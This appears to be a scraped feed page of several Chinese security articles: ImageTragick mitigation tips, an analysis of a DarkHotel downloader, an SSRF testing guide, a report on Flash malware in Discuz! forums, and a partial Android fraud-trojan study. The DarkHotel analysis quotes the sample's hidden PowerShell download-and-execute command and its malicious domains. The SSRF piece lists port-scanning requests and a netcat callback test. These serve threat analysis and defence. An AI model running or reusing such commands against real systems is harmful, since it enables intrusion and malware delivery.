Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

关于ImageTragick漏洞的一些错误概念说明

$
0
0
关于ImageTragick漏洞的一些错误概念说明

2016-05-12 17:46:44
来源:360安全播报 作者:ResoLutiOn

阅读:206次
点赞(0)
收藏



分享到:









关于ImageTragick漏洞的一些错误概念说明

近期,据媒体报道,ImageTragick软件中存在着漏洞,影响了用户的正常使用。同时,此报道也引起了大量网页开发人员的关注。他们正尝试通过解决一个远程代码执行变量的方式,来修复这一漏洞。

ImageTragick是一款广受欢迎的图片制作操作软件。它可以用来读、写和处理超过89种基本格式的图片文件,包括TIFF、JPEG、GIF以及PNG等等,具有一套功能强大且稳定的工具集。网页前端工作者通常用它来修改图片、转换图片格式或对一些发布在网络上的图片进行标注。无论你是否使用过这款软件,都应该对这一漏洞给予一定的关注。因为该漏洞的开发成本极低,极易被不法分子所利用。简单说,它其实就是在上世纪90年代出现过的安全漏洞的其中之一,即简单的shell命令行注入漏洞。而今天,随着技术的不断发展,在一些核心开发工具中,这种漏洞几乎已经不存在了。该漏洞与另一个影响深远的shell漏洞—Shellshock Bug(破壳漏洞)有着一定的相似之处。

即是说,我认为媒体关于此漏洞的报道,都忽视了其中重要的一点,即:即使开发人员修复了RCE向量(远程设备控制命令),这可能也无济于事。任何想通过ImageTragick来处理,已经被攻击者控制的图片的用户,都会面临巨大的安全隐患。

问题其实很简单:相较于ImageTragick展现出的优点,人们对于该软件中存在的这一漏洞,会感到有些惊讶。因为在软件开发人员看来。它实在过于“低级”。正是因为在设计之初,设计者没有考虑到命令行注入,这一历史悠久,但鲜为人知,具有严重威胁的安全漏洞的存在,而导致了今天这一情况的出现。几个月前,当人们还在讨论这一漏洞时,一位叫做Jodie Cunningham的研究员,就对该漏洞所使用的数据点进行了研究。Jodie采用开源的afl-fuzz工具对该软件的IM功能(Instant Messaging-即时通讯),进行了模糊测试,并且迅速找到了20多个其中存在的开发漏洞,以及大量能够进行拒绝服务攻击的漏洞。关于她的研究结果的样本,可在后面的网页里找到。(http://www.openwall.com/lists/oss-security/2014/12/24/1)

Jodie所做的测试还可能仅仅停留在表面。在这之后,Hanno Boeck又找出了更多的bug。据我所知,Hanno找到这些bug,也仅仅是通过使用关闭shelf的模糊测试工具,并没有更多新的尝试。在这儿,我可以和你们打一个赌:由于缺乏一种对IM代码库进行重新设计的驱动力,此漏洞的持续趋势,在短期内将不会有改变。

对此,有如下几条关于使用ImageTragick的建议:

1.如果你确实需要对一些安全信任度较低的图片,进行格式转换或尺寸缩小修改时,不要使用ImageMagick。将其转换为png库文件、jpeg-turbo库文件或gif库文件进行使用。这是一种很好的方法。同时你还可以在Chrome或Firefox浏览器中查看相关的源代码。这种实现方式将大大提高执行速度。

2.如果你必须要使用ImageMagick对一些不受信任的图片进行处理,那么你就要考虑是否会遭到带有seccomp-bpf特性的沙盒代码的攻击,或另一种与其有着类似攻击机制的网络攻击,即:限制所有控件访问用户工作区,进而实施内核攻击。现在,我们所掌握的一些基本的沙盒防护技术,比如:Chroot(Change Root:改变程序执行时所参考的根目录位置)和UID 分离等,在面对此类攻击时,还无法取得太好的效果。

3.如果以上两个办法都失效的话,那么就要果断地通过IM进行限制图片格式处理的设置。最低要求是要对每一个接收到的图片文件的标题进行检查,这也有助于当要调用代码自动识别功能函数时,可以明确地说明输入文件的格式。对于命令行调用功能,可通过如下代码实现:convert [...other params...] -- jpg:input-file.jpg jpg:output-file.jpg

在ImageMagick中所执行的JPEG、PNG和GIF格式文件的处理代码比PCX、TGA、SVG、PSD等其他格式文件的代码,要具有更好的稳定性。

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:https://lcamtuf.blogspot.tw/2016/05/clearing-up-some-misconceptions-around.html

DarkHotel定向攻击样本分析

$
0
0
DarkHotel定向攻击样本分析

2016-05-13 16:56:09
来源:360安全播报 作者:360天眼安全实验室

阅读:179次
点赞(0)
收藏



分享到:








引言

人在做,天在看。

360天眼实验室追日团队持续发现与跟踪APT活动,相关的样本、IP、域名等数据只要一出现就会立即进入我们的视线。5月10日VirusTotal上有人提交了一个样本,安博士标记为DarkHotel相关。


DarkHotel定向攻击样本分析

DarkHotel团伙在2014年被卡巴斯基做过一次暴光,但直到最近还一直非常活跃,下面我们来对VT上的这个样本做个简单的分析。

样本分析

基本信息

样本MD5:43f3b56c1c01b007c35197c703e4d6a6

样本大小:131,072 Bytes

编译时间:2015-10-15 22:52:30

文件名:DSC3013.JPG.scr

样本截图:


DarkHotel定向攻击样本分析

详细行为

总体来说,样本的功能很简单,是一个典型的下载器诱饵。得到点击运行机会以后,样本会从自身释放3个图片和1个快捷方式到TEMP目录下;调用mspaint打开3个图片中的一个文件,执行TEMP目录下的快捷方式,快捷方式运行起来后会启动powershell从 http://all-microsoft-control.com/kd/f.exe 下载PE并执行。

样本首先会获取TEMP目录的路径:


DarkHotel定向攻击样本分析

然后拼出4个路径:

%temp%\DSC3013.JPG

%temp%\DSC3014.JPG

%temp%\DSC3015.JPG

%temp%\desktop.lnk


DarkHotel定向攻击样本分析

会从自身文件的0x406b20的偏移处读取0xead字节的数据写入到DSC3013.JPG、DSC3014.JPG和DSC3015.JPG文件中;


DarkHotel定向攻击样本分析

数据为JPG图片格式文件,如图:


DarkHotel定向攻击样本分析

图片是纯白色背景的JPG文件,因为这种纯色文件通过JPG格式的压缩后占用的空间比较小。


DarkHotel定向攻击样本分析

数据同时写入到刚才创建的3个隐藏的图片文件中,CreateFile的倒数第二个参数为2,表示该文件是隐藏的状态。


DarkHotel定向攻击样本分析

之后会调用mspaint.exe打开DSC3013.jpg文件,因为木马样本的文件名为DSC3013.JPG.scr,而且木马样本也是图片图标,所以用图片打开DSC3013.jpg文件迷惑受害者:


DarkHotel定向攻击样本分析

接下来会在同目录下再创建3个不隐藏的图片文件,并写入同样的数据:


DarkHotel定向攻击样本分析

然后创建隐藏的desktop.lnk文件,把从文件的0x406088 处读取到的数据写入到该文件,并通过ShellExecute运行起来该快捷方式文件:


DarkHotel定向攻击样本分析

文件的0x406088偏移处是一个快捷方式格式的文件,如图能看到快捷方式的参数信息:


DarkHotel定向攻击样本分析

把该块数据段保存成LNK文件,命令行参数如下:


DarkHotel定向攻击样本分析

快捷方式指向的目标为:

%COMSPEC% /c powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://all-microsoft-control.com/kd/f.exe ','%temp%\~$ER96F.doc')&&echo f|xcopy %temp%\~$ER96F.doc %temp%\dwm.exe /H /Y&&%temp%\dwm.exe

所以快捷方式被执行起来后,会调用powershell从http://all-microsoft-control.com/kd/f.exe下载到%temp%\~$ER96F.doc,并把该文件重命名为dwm.exe后,运行起来。

最后会在同目录下生成desktop.bat,并把“del *.scr\r\ndel *.bat”代码写入进去,试图删除掉该目录下所有的scr和bat后缀的文件,让目录看起来只有正常的图片文件。


DarkHotel定向攻击样本分析

远控木马

目前通过URL下载的dwm.exe已经失效,但从360公司海量的样本库中找到了这个文件不难:


DarkHotel定向攻击样本分析

分析显示此dwm.exe是一个使用OpenSSL协议的远控木马:


DarkHotel定向攻击样本分析

样本的字符串加密存储样本里的,关键API都用解密后的字符串动态加载:.


DarkHotel定向攻击样本分析

sub_497036是字符串的解密函数:


DarkHotel定向攻击样本分析

样本会检测虚拟机、沙箱和杀软:

卡巴


DarkHotel定向攻击样本分析

沙箱检测:


DarkHotel定向攻击样本分析

DarkHotel定向攻击样本分析

检测360的产品:


DarkHotel定向攻击样本分析

检测金山和baidu的安全产品:


DarkHotel定向攻击样本分析

检测通过后,会连接C&C地址的80端口,走SSL通信协议,把请求的数据包加密放到URL里,然后进行通信:


DarkHotel定向攻击样本分析

C&C域名为:view-drama-online.com

相关分析

使用高级账号查询360威胁情报中心,样本涉及的域名 all-microsoft-control.com 其实早就被内部分析团队打上了相关的标签,而外部的大部分威胁情报平台对此域名没有做什么恶意性标记:


DarkHotel定向攻击样本分析

域名注册于2015年7月26日,在卡巴斯基在2014年的揭露报告以后注册,由此可见APT团伙在被公开以后并不会停止活动,根据我们的分析甚至手法上都没有大的改变。

虽然目前我们从那个域名已经下载不到 .EXE 的进一步恶意代码,但威胁情报中心包含的同源样本沙箱日志记录告诉我们还有多个历史下载路径:


DarkHotel定向攻击样本分析

事实上,利用360威胁情报中心的基础数据,从一个域名、样本出发我们可以把DarkHotel团伙相关的很大一部分所使用的工具和网络基础设施信息关联出来,在此基础上分析其活动历史,甚至最终定位到幕后的来源。

关联组织

360公司内部的长期跟踪了代号为APT-C-06的境外APT组织,其主要目标除了中国,还有其他国家,主要目的是窃取敏感数据信息,DarkHotel的活动可以视为APT-C-06组织一系列活动之一。在针对中国地区的攻击中,该组织主要针对政府、科研领域进行攻击,且非常专注于某特定领域,相关攻击行动最早可以追溯到2007年,至今还非常活跃。

该组织多次利用0day漏洞发动攻击,进一步使用的恶意代码非常复杂,相关功能模块达到数十种,涉及恶意代码数量超过200个。该组织主要针对Windows系统进行攻击,近期还会对基于Android系统的移动设备进行攻击。另外该组织进行载荷投递的方式除了传统的鱼叉邮件和水坑式攻击等常见手法,还主要基于另一种特殊的攻击手法。

我们将APT-C-06组织和其他APT组织的TTPs(战术、技术与步骤)进行了对比分析,该组织无论是整体实力还是威胁等级在现有的APT组织中都是属于很高的级别。从我们掌握的证据来看该组织有可能是由境外政府支持的黑客团体或情报机构。

IOC

类型

Downloader Domain

all-microsoft-control.com

C&C Domain

view-drama-online.com

本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/2869.html

利用SSRF漏洞接管APP服务器

$
0
0
利用SSRF漏洞接管APP服务器

2016-05-14 13:58:42
来源:360安全播报 作者:默白

阅读:281次
点赞(0)
收藏



分享到:








SSRF攻击是指攻击者强行控制存在漏洞的服务器,从而发送恶意请求给第三方服务器或内部资源。然后再利用该漏洞启动特定攻击,比如跨站点端口攻击,服务枚举以及其他多种攻击。

这种性能使得SSRF攻击变得十分危险,因为它可以借用某个易受攻击的服务器来攻击其他公共资源和当地基础设施。


利用SSRF漏洞接管APP服务器

会被SSRF利用的几种常见漏洞:

·URL重定向

·远程文件包含

·SQL注入

·框架注入

·链接注入

·XML外部实体

攻击者会利用这种漏洞做些什么?

攻击者在确定这种漏洞之后,可以利用它作为进一步攻击的道具,进一步的攻击包括:

·端口扫描被防火墙保护着的内部主机。

·攻击内部应用程序。

·借用文件处理程序“file:///c:/windows/system32/.”访问本地网页服务器。

·枚举服务。

攻击者还有诸如mailto://、gopher://这样的其他选择,如何选择取决于服务器和解析器如何处理该请求。

端口扫描

SSRF能够利用端口扫描。

扫描本地接口:

GET/Vulnerablepage.php?VulnParameter=http://127.0.0.1:80

GET/Vulnerablepage.php?VulnParameter=http://127.0.0.1:443

GET/Vulnerablepage.php?VulnParameter=http://127.0.0.1:21

根据不同的回应,攻击者可以打开或者关闭端口。同样地,这种做法也可以用于扫描其他资源。

这样的过程可以利用Burp的入侵功能设置有效荷载位置(GET/Vulnerablepage.php?VulnParameter=http://127.0.0.1:§§HTTP/1.1)来实现自动化。

接着将“有效荷载类型”设置为“数字”,“端口”设置为“0-65535”。然后就可以实行攻击了,当然别忘了为有效荷载解密。

SSRF测试

通常情况下,含有URL的输入字段是这种攻击乐见的形式。然而我们发现带有不能做出任何推断的随机参数的应用程序也是容易攻击的对象。所以鉴于我们并不清楚服务器是如何处理这些参数的,检查可疑参数含有的漏洞就变得很有必要了。


利用SSRF漏洞接管APP服务器

概念证明

根据以下步骤可以进行概念证明的渗透测试。

·在应用程序中标示一个潜在的输入域来测试漏洞。

·用nc–l–vportno指令启动Netcat(假设服务器名为servertest)。

·只要服务器开始运行,就在易受攻击的输入域中输入http://servertest:portno/testSSRF。

要使用类似于/testSSRF的独特目录,这样可以确保该请求是由我们这个易受攻击的服务器发出的。

·如果该服务器是易于攻击的,它就会建立此连接,然后Netcat侦听器就会显示有关该连接的详细信息,就像下图所示这样。


利用SSRF漏洞接管APP服务器

工具

在测试过程中,Burp的协作功能给我们带来了极大的便利。它可以在最开始先识别出问题所在,然后我们再用上述方法进行手动验证。

这种协作功能将有效荷载发送到精心打造的已感染应用程序中,以启动与协作服务器的连接。然后Burp会不断地监视协作服务器,来确保是否有任何请求触发连接。

建议

·不要用用户数据进行数据验证。

·硬化应用程序服务器,并且确保已经关闭不必要的端口和服务。

·为允许运行的主机和服务设置白名单。

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:https://blogs.mcafee.com/mcafee-labs/server-side-request-forgery-takes-advantage-vulnerable-app-servers/

大批知名论坛被挂马,系 Discuz!论坛标签权限设置不当

$
0
0
大批知名论坛被挂马,系 Discuz!论坛标签权限设置不当

2016-05-17 11:55:17
来源:360安全播报 作者:360安全卫士

阅读:466次
点赞(0)
收藏



分享到:








近期360安全中心监测到国内多家知名网站论坛系统遭遇挂马,涉及一些访问量数十万甚至上百万的大型论坛,包括威锋网(360发出安全报警后迅速修复http://weibo.com/1645903643/Drz88eZpT)、腾讯穿越火线论坛、迅雷论坛、大众论坛、莱芜在线等,甚至连一些黑客“据点”也未能幸免,例如专门进行木马制售和免杀交流的小七论坛也遭遇同样手法的“黑吃黑”挂马(http://blogs.360.cn/360safe/2016/04/28/xiaoqi_forum_web_trojan/)。目前,这些论坛中部分已经修复了问题,但仍有一些知名论坛存在严重风险,任意注册用户都可以轻松挂马,利用热门帖等途径向论坛的其他用户发起直接攻击。

经过360安全中心调查,上述知名论坛被挂马攻击的漏洞全都是Flash漏洞。也就是说,当电脑使用老版本Adobe Flash Player的用户访问被挂马论坛时,如果没有专业安全软件保护,电脑在浏览挂马帖过程中就会自动下载运行木马。而这些被挂马的论坛,则都是使用了国内流行的Discuz!建站系统搭建的。那么Discuz!论坛和Flash挂马有什么关联呢?

原来,在Discuz!系统的论坛中,用户在发帖时可以通过[flash]标签,直接在帖子内嵌入来自任意网站的flash文件,这些flash文件在其他用户浏览对应的主题、帖子时,都是自动播放的,这一漏洞就给了攻击者非常便利,甚至非常定制化的攻击途径:攻击者只要将挂马的Flash文件直接嵌入论坛帖子中,等待贴主或任意访问论坛的用户打开帖子,攻击者就可以完全控制他们的电脑。

这一攻击形式相当灵活,对论坛进行挂马的攻击者既可以通过回帖到热门主题的方式,给论坛中的大量用户集中挂马,也可以针对对特定主题、特定内容、特定发帖人的帖子感兴趣的人做小范围“精准打击”,在不引起大部分人注意的前提下,对这些用户进行挂马,例如我们看到在腾讯穿越火线论坛的挂马案例中,有用户发帖称意外获得了礼包,紧接着就有挂马者随即跟进,在他的帖子下面挂马,使得贴主和其他围观群众被flash木马攻击。

360安全中心在研究后发现,Discuz!论坛针对自动播放的[flash]标签是默认关闭的,而这些受影响的管理员,则不约而同地开启了这个标签的功能,导致了这个标签,从而导致论坛被挂马。我们发现在这一设置上,论坛管理员似乎相当随性。

例如,在腾讯游戏的论坛群(http://gamebbs.qq.com)上有近百个不同游戏的独立论坛,而这些论坛由于使用了不同的设置(有些按照Discuz!的默认设置关闭了flash标签),并不是都存在问题。经过我们测试,其中穿越火线、枪神纪、逆战、FIFA、地下城与勇士、全职大师、QQ华夏等游戏论坛,以及腾讯手机管家论坛都开启了flash标签,受到论坛挂马问题的威胁,而其他一些子论坛如英雄联盟等则不受影响。

CF论坛挂马

我们以其中的一个页面为例来看下——《[分享] 这是小概率还是大概率,我懵逼了》:
大批知名论坛被挂马,系 Discuz!论坛标签权限设置不当

而在这个帖子的五楼,有位名为“大苏打干活”的网友向楼主表示祝贺:


大批知名论坛被挂马,系 Discuz!论坛标签权限设置不当

是啊!楼主运气果然了得,不仅获得了有序里的虚拟道具,还在帖子里活得了一个网页挂马。不仅是楼主,连我们都“懵逼”了。

拿到swf文件之后,内部的恶意脚本代码并没有加密,ShellCode一目了然:


大批知名论坛被挂马,系 Discuz!论坛标签权限设置不当

一旦用户中招,flash文件会从远端地址下载一个木马到本地:


大批知名论坛被挂马,系 Discuz!论坛标签权限设置不当

木马会读取自身内容并复制到system32目录下:


大批知名论坛被挂马,系 Discuz!论坛标签权限设置不当

并将其加载为服务项


大批知名论坛被挂马,系 Discuz!论坛标签权限设置不当

而后再创建一个“善后”的vbs脚本来打扫战场。


大批知名论坛被挂马,系 Discuz!论坛标签权限设置不当

大批知名论坛被挂马,系 Discuz!论坛标签权限设置不当

而木马一旦被加载为服务项,就变成了一个典型的Gh0st远控,等待着远端的指令。


大批知名论坛被挂马,系 Discuz!论坛标签权限设置不当

同时沦陷的还是迅雷论坛(http://bbs.xunlei.com/)


大批知名论坛被挂马,系 Discuz!论坛标签权限设置不当

而从挂马手法来看,很可能是同一个团伙所为,我们在《从果粉到黑吃黑:一个论坛挂马的奇异反转》(http://blogs.360.cn/360safe/2016/04/28/xiaoqi_forum_web_trojan/)中,对这个挂马团伙做了分析。

新Flash挂马类型

此外,这一波挂马中还出现了一批新型的挂马——刷流量Flash挂马。在大众论坛中,就看到了这样一个木马三连发的网友,其中第一个挂马和上面CF论坛是一样的,不再赘述。而后面两个回复中挂的,则是两个颇为新颖的挂马类型:


大批知名论坛被挂马,系 Discuz!论坛标签权限设置不当

大批知名论坛被挂马,系 Discuz!论坛标签权限设置不当

这两个swf文件严格的说并没有利用任何漏洞,而是很单纯的在flash文件中插入了一个“合法”的脚本:


大批知名论坛被挂马,系 Discuz!论坛标签权限设置不当

大批知名论坛被挂马,系 Discuz!论坛标签权限设置不当

用户一旦访问了含有这两个Flash文件的页面,便会在后台静默的访问两个列表中的所有网站……

我们同时发现,另一流行论坛建站系统phpwind也受到该问题的影响,注册用户也可以在论坛主题和回帖中贴入直接播放的任意flash文件,导致挂马攻击的方式。

由于目前Flash漏洞的泛滥,360安全中心建议目前使用允许直接嵌入flash文件的各大论坛站点,尽快关闭Flash嵌入功能,同时建议Discuz!等论坛厂商,加入对嵌入Flash标签的“白名单”功能。对于普通用户,除了及时升级Flash版本外,安装360安全卫士并开启防护,也是在浏览论坛的同时保护自己的重要措施。

本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/2872.html

深入分析跨平台网络电信诈骗

$
0
0
深入分析跨平台网络电信诈骗

2016-05-17 11:14:09
来源:360移动安全团队 作者:360安全卫士

阅读:395次
点赞(0)
收藏



分享到:








摘 要

360 移动安全团队发现全球首款专用于网络电信诈骗的Android木马,网络电信诈骗进化到包含移动终端在内的跨平台时期。

传统网络电信诈骗的过程中,诈骗者必需诱导受害人完成转账;而移动场景下,诈骗者仅依靠植入用户手机的Android木马,就能在受害人不知情的情况下完成远程转账。

Android木马为网络电信诈骗增加了丰富的攻击方法,包括隐私窃取、短信拦截、远程控制和钓鱼等。

传统网络电信诈骗工具包括Web钓鱼网站、PC受控端和后台服务器,诈骗者利用这组工具窃取用户银行账户信息、监控用户PC并诱导用户完成转账。

传统网络诈骗的过程中,诈骗者能够成功诱导用户转账是诈骗成功的关键,因而用户感知度比较高。

移动场景下的诈骗过程大致包含六个步骤,其中转账过程不再需要受害人远程发起。

通过对比移动场景和传统PC场景下木马的隐私窃取能力、远控能力以及用户感知度,我们发现移动场景下用户面临的威胁更甚。

移动木马的关键技术包括钓鱼攻击、远程控制、短信监控、远程数据自毁、自我保护和隐私窃取。

通过对诈骗工具的研究,我们发现诈骗者正在由传统的使用PC木马转向使用Android木马。

代码中的汉字均为繁体,我们据此推测该木马制作团伙习惯使用繁体中文。

网络电信诈骗情报体系由三大块组成:诈骗目标相关情报、诈骗手法相关情报以及资金相关情报。

网络电信诈骗团伙分工极为明确,从角色上可粗略分为两大类:制马人和诈骗者。制马人负责木马研发,诈骗者负责实施诈骗。其中诈骗者又分为组织者和一线、二线、三线诈骗人员。

第三方SDK JPush和Apache Cordova被制马人滥用,TeamViewer被制马人篡改为PC远控端。

网络电信诈骗的其他风险包括污染搜索引擎资源、损坏用户终端数据以及隐私窃取造成的残余风险。

Android木马的“跨界”攻击趋势越来越普遍,正逐渐向更多的传统犯罪产业渗透。

关键词:网络电信诈骗、Android木马、钓鱼、远程控制、隐私窃取

第一章 Android木马现身网络电信诈骗

近期,360 移动安全团队发现全球首款专用于网络电信诈骗的Android木马。该木马伪装成“公安部案件查询系统”,集隐私窃取、钓鱼和远控等多种恶意行为于一体,能够在受害人不知情的情况下转走其银行账户中的资金,对手机用户造成了极大的威胁。据此,网络电信诈骗进化到包含移动终端在内的跨平台时期。

一、 网络电信诈骗的进化史简介

电信诈骗是指犯罪分子通过电话、网络和短信等方式,编造虚假信息,设置骗局,对受害人实施远程、非接触式诈骗,诱使受害人给犯罪分子打款或转账的犯罪行为[1]。

网络电信诈骗由早期的电信诈骗演变而来。在早期的电信诈骗过程中,诈骗者仅依靠给受害人打电话实施诈骗,诈骗的成功率通常较低。

随着互联网的发展和普及,电信诈骗开始与互联网结合,发展成为网络电信诈骗。在网络电信诈骗的过程中,诈骗者通过打电话、网络钓鱼和PC远控木马三种手段联合实施诈骗,在一定程度上提高了诈骗的成功率。

近几年来,移动智能终端的迅猛发展,网络电信诈骗又一次完成了诈骗手段的进化——将Android木马运用到诈骗的过程中。Android木马的引入,使诈骗场景发生了质的变化。在传统网络电信诈骗的过程中,诈骗者必需诱导受害人完成转账;而引入移动场景之后,诈骗者即使没有成功地诱导受害人完成转账,也能依靠植入用户手机的Android木马,在受害人不知情的情况下完成远程转账。

二、 网络电信诈骗的一般过程

360天眼实验室最近发布的《冒充最高检网络电信诈骗之追溯》[2]是网络诈骗最典型的案例,其中描述了网络电信诈骗的一般过程:搜集用户资料、拨打诈骗电话、钓鱼获取用户银行账户信息、诱导用户转账等。其间诈骗者可能诱导用户安装PC端远控木马以获取更多的用户隐私信息,确保成功实施诈骗。

三、 Android木马为网络电信诈骗引入新的诈骗手法

Android木马为网络电信诈骗增加了丰富的攻击方法。伪“公安部案件查询系统”软件包含隐私窃取类木马、支付类木马、远控木马和钓鱼木马,其中隐私窃取类木马和远控木马在传统PC端木马中也曾出现过,但是Android隐私窃取类木马和远控木马所能实现的功能远比PC端同类型木马强大,其能够获取与受害人资金和生活密切相关的短信、联系人等隐私信息,并灵活地控制受害人手机的短信收发动作以及通话,所以我们认为Android隐私窃取类木马和远控木马是网络电信诈骗中不同于PC端木马的新型手段。下图橙色部分表示移动场景下新增木马类型:


深入分析跨平台网络电信诈骗

图1.1 移动场景新增木马类型

Android隐私窃取类木马可以窃取受害人手机联系人、短信、通话记录等信息,Android远控木马可以控制受害人手机收发短信、手机黑屏以及拍照回传等等,这些功能是传统网络电信诈骗中PC远控木马所不具备的。最为致命的是移动场景下的支付类木马,可以协助诈骗者在受害人不知情的情况下完成远程转账。在这些强大功能的基础上,诈骗者可以实时了解受害人的情况并控制受害人的手机,完全掌握受害者的一举一动。


深入分析跨平台网络电信诈骗

图1.2 新增木马功能示意图

第二章 Android木马升级网络电信诈骗威胁

360 移动安全团队发现伪“公安部案件查询系统”后,对该诈骗工具背后的团伙进行了持续追踪和研究,发现该团伙已拥有了一套强大的诈骗工具。本章将为大家揭开这些工具的面纱并重点研究移动场景下的诈骗工具和诈骗过程。

一、 传统网络电信诈骗工具组合及威胁能力评估

传统网络电信诈骗的一般工具组合为Web钓鱼网站、PC受控端和后台服务器,诈骗者利用这组工具窃取用户银行账户信息、监控用户PC并诱导用户完成转账。在此过程中,诈骗者能够成功诱导用户转账是诈骗成功的关键,因而用户感知度比较高。

(一) Web钓鱼网站

诈骗者通过Web钓鱼网站窃取用户银行账户信息并完成PC远控端木马的投放,用户点击如下页面中的“网上安全检控软件”即下载PC远控端木马。


深入分析跨平台网络电信诈骗

图2.1 伪公安部钓鱼网站

(二) PC远控端

PC远控端运行后如下图所示,其实为一个特殊版的Teamviewer。诈骗者通过该定制的远控木马操作用户电脑,以便在诱导用户转账的过程中对用户行为实施远程监控。


深入分析跨平台网络电信诈骗

图2.2 PC远控端

(三) 服务器后台

服务器端接收钓鱼网站和PC远控端回传的用户隐私信息。我们发现网络电信诈骗中的服务器多数采用租用境外服务器的方式,以躲避备案和追查。

二、 移动场景下网络电信诈骗过程

移动场景下的诈骗过程大致包含如下六个步骤:

步骤一:诈骗者拨打诈骗电话给受害者。诈骗者冒充公安部工作人员给受害者拨打电话,通报其涉及“XX经济犯罪洗钱案”(或者其他案件),接着告知受害者案件编号为“XXXX”,并让受害者保持电话畅通,等待再次联系。

步骤二:诈骗者发送Android木马下载链接给受害者。诈骗者再次给受害者打电话,并给受害者发送带Android木马下载链接的钓鱼链接——伪“中华人民共和国公安部”网站,该网站打开即开始下载Android木马。诈骗者接着诱导受害人安装Android木马,并输入案件编号查询相关案件和公文,查询结果如下图所示:


深入分析跨平台网络电信诈骗

图 2.3经济犯罪查询结果

步骤三:受害者使用木马输入银行账户信息。诈骗者使用伪造的“最高检刑事逮捕令”恐吓成功之后,会进一步诱导受害人进行帐户自清,帐户自清界面如下图所示,其实为一个钓鱼网页,当受害人输入自己的银行帐户信息之后,这些信息会被回传至诈骗者的服务器。


深入分析跨平台网络电信诈骗

图 2.4伪帐户自清系统

步骤四:诈骗者使用网银远程发起转账。诈骗者在获得钓鱼网页(Android木马中的帐户自清系统实际为一个内嵌的网页)回传的银行帐户信息之后,使用手机银行远程发起转账。

步骤五:Android木马拦截回传短信验证码。Android木马在截获到银行发送给用户的短信验证码之后回传给诈骗者。

步骤六:诈骗者使用验证码完成转账。诈骗者填入短信验证码完成远程转账,在此过程中,由于银行转账限额限制,诈骗者可能需要实施多次转账,且转账过程用户基本上无感知。


深入分析跨平台网络电信诈骗

图2.5 移动场景下的诈骗过程

值得关注的是,当受害者安装木马到手机之后,诈骗者即可远程监控受害者的手机。这意味着移动场景下网络电信诈骗与传统PC场景下的诈骗存在着明显的区别:移动场景下,当诈骗者钓鱼成功——即受害者在钓鱼页面输入了自己的银行账户信息之后,“诱导受害者转账”不再是一个必要的过程,诈骗者完全可以在受害者不知情的情况下利用受害者的网银实施转账。

三、 移动场景与传统场景威胁能力对比

移动终端存储着用户的大量隐私信息,并且时常同用户的资金绑定在一起。控制用户的手机,一方面意味着对用户的隐私有完全的获取能力,另一方面也获得了对用户资金的控制能力。相比之下,用户在PC上存储的信息要少得多,移动场景下用户面临的威胁更甚。我们通过对比移动场景和传统PC场景下木马的隐私窃取能力、远控能力以及用户感知度详细阐述该结论。

(一) 隐私窃取能力对比

通过钓鱼获取的隐私信息,如银行账户信息,是两种平台上的木马都能窃取的。至于短信、联系人等移动特性相关的隐私信息,PC木马显然无获取能力。


深入分析跨平台网络电信诈骗

图2.6 隐私窃取能力对比

(二) 远控能力对比

无论PC还是移动端的木马都可以实现黑屏和远程数据自毁,但是依然由于移动端的天然优势,Android木马可以拦截短信、通话等,这些是PC木马做不到的。


深入分析跨平台网络电信诈骗

图2.7 远控能力对比

(三) 用户感知度对比

网络电信诈骗中诈骗者对受害者实施的主要恶意行为包括隐私窃取、钓鱼和转账,其中实施钓鱼的过程无论在哪个平台上实施都需要用户亲自输入信息,是有用户感知的。隐私窃取均发生在后台,完全无用户感知。而转账过程是体现PC场景与移动场景差异的地方,PC场景下的转账过程需要受害者发起,是有用户感知的,而移动场景下的转账过程完全无需用户参与。


深入分析跨平台网络电信诈骗

图2.8 用户感知对比

四、 Android木马关键技术揭露

Android木马将网络电信诈骗带入移动场景。相比于PC场景下(仅包含PC远控端木马)的网络电信诈骗,移动场景下的网络电信诈骗手法变得更加灵活和强大,其原因主要是Android木马所能实现的强大功能。

(一) 移动场景下新增诈骗工具

移动场景下的新增诈骗工具主要包括Android木马和控制服务器,其中Android木马具备钓鱼、远控和隐私窃取的能力,控制服务器主要向Android木马下发指令并接收回传信息。


深入分析跨平台网络电信诈骗

图2.9 Android木马运行截图


深入分析跨平台网络电信诈骗

图2.10 控制服务器注册手机管理界面


深入分析跨平台网络电信诈骗

图2.11 控制服务器指令管理界面


深入分析跨平台网络电信诈骗

图2.12 控制服务器受害人信息管理

(二) 钓鱼攻击

移动端钓鱼页面加载代码使用Apache Cordova[3]实现,Cordova提供了一组设备相关的API,通过这组API,移动应用能够以javascript访问原生的设备功能[4]。Android木马启动即会显示钓鱼页面,钓鱼页面通过JavaScript获取设备机型、imei和版本号等信息,回传至控制服务器,完成在服务器端的注册。当受害人在钓鱼页面中输入银行账户信息时,所有信息将会被回传至控制服务器。
深入分析跨平台网络电信诈骗

图2.13 钓鱼页使用JavaScript上传信息

(三) 远程控制

Android远程控制木马使用极光推送[5]Android SDK实现。极光推送,英文简称 JPush,是一个面向普通开发者开放的,免费的第三方消息推送服务[6]。Android远程控制木马使用JPush实现了设备注册、回传短信、回传联系人、回传通话记录、收发短信、写联系人、激活设备管理器、黑屏、拦截短信、切换通话、截屏回传、恢复出厂设置等指令,我们在控制后台只发现了部分功能,其他功能可能正在测试之中,代码中的“test”关键字也表明有些功能正在测试。
深入分析跨平台网络电信诈骗

图2.14 JPush推送接口

(四) 短信监控

短信监控是在远程控制的基础上实现的,木马根据服务器端的控制指令决定是否拦截短信并回传。


深入分析跨平台网络电信诈骗

图2.15 短信监控

(五) 远程数据自毁

数据自毁是躲避取证的有效手段之一。诈骗者在完成诈骗之后,通过控制服务器下发特定指令,Android木马接收到指令之后通过调用DevicePolicyManager的wipeData方法将用户手机恢复出厂设置。


深入分析跨平台网络电信诈骗

图2.16 清除数据

(六) 自我保护

木马启动之后,为防止被用户卸载,会诱导用户激活设备管理器,如果在启动的过程之中用户没有激活设备管理器,诈骗者仍可以通过控制服务器下发特定指令再次诱导用户激活。


深入分析跨平台网络电信诈骗

图2.17 诱导用户激活设备管理器

(七) 隐私窃取

木马收到控制服务器下发指令之后,后台执行相应的动作,回传用户短信、联系人等隐私信息。


深入分析跨平台网络电信诈骗

